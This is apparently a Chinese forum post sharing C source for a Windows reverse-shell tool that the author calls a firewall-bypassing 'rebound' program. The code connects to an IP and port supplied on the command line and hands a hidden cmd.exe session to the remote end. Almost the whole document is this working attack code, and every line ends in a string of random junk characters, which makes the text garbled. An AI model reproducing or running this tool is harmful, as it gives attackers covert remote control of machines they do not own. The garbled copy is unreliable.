这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0Fi7|
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/* ============================== ?V7[,I1?
Rebound port in Windows NT +mF}j=k
By wind,2006/7 9&2kuLp?P
===============================*/ c6?5?_ne
#include tX)]ZuEi$
#include \Dt0
}
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#pragma comment(lib,"wsock32.lib") ,eZ'pxt
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void OutputShell(); h\.UUC&<
SOCKET sClient; wx57dm+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MhJ`>.z1
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void main(int argc,char **argv) kSI,Q!e\
{ ZS}2(t
WSADATA stWsaData; EoOrA@N
int nRet; Mq*Sp
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SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) b!`:|!7r'
{ ;dB=/U>3U
printf("Useage:\n\rRebound DestIP DestPort\n"); ~xHr/:
return; xQmk2S`
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} G`)I _uO
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WSAStartup(MAKEWORD(2,2),&stWsaData); (Ojg~P4;&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dnd
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stSaiClient.sin_family = AF_INET; y:v0&9L
stSaiClient.sin_port = htons(0); 6
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lhxhAe
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =B?uNo e
{ G=b`w;oL:
printf("Bind Socket Failed!\n"); AE<AEq
return; hl# 9a?
} d<Z`)hI{K
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stSaiServer.sin_family = AF_INET; IWMqmCbv
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4}NFa;M1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @<w$QD
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A\: =p
{ X*8U%uF
printf("Connect Error!"); ^pg5o)M
return; QU417EV'
} PHz/^p3F
OutputShell(); sA`
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} N>gv!z[E
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void OutputShell() 0?sIod
{ 35c9c(A
char szBuff[1024]; lSbAZ6
SECURITY_ATTRIBUTES stSecurityAttributes; S:t7U%
OSVERSIONINFO stOsversionInfo; u`("x5sa
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "+)ey>_
STARTUPINFO stStartupInfo; H9 't;Do
char *szShell; |5Z@7
PROCESS_INFORMATION stProcessInformation; ff{ESFtD
unsigned long lBytesRead; 9|OQHy
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P}aJvFlmP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZegsV|
stSecurityAttributes.lpSecurityDescriptor = 0; H,\c"
stSecurityAttributes.bInheritHandle = TRUE; 57HMWlg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !'PPj_Hp]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %3kqBH!d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [#)$BXG~y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r3iNfY b
stStartupInfo.wShowWindow = SW_HIDE; (j cLzq
stStartupInfo.hStdInput = hReadPipe; d;dcLe
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (M[Kh ^
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GetVersionEx(&stOsversionInfo); z3a
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switch(stOsversionInfo.dwPlatformId) VF6@;5p
{ pX!S*(Q{
case 1: N;ssO,
szShell = "command.com"; X|8Yz3:o
break; w0Us8JNGz
default: Gz6FwU8L
szShell = "cmd.exe"; ){gO b
break; VS 8|lgQ
} {kmaMP
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SYl:X
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send(sClient,szMsg,77,0); {Y
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while(1) SXgpj
{ y0rT=kU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \8<bb<`
if(lBytesRead) W]rXt,{&
{ ef|Y2<P
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -|V@zSKr3
send(sClient,szBuff,lBytesRead,0); %P yU3
} @++
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else SX*os$
{ _ sM$O>
lBytesRead=recv(sClient,szBuff,1024,0); tCA |sN
if(lBytesRead<=0) break; {_Ke'"
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d5bj$oH
} :*4yR46
} /V3*[
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return; *]F3pP[
}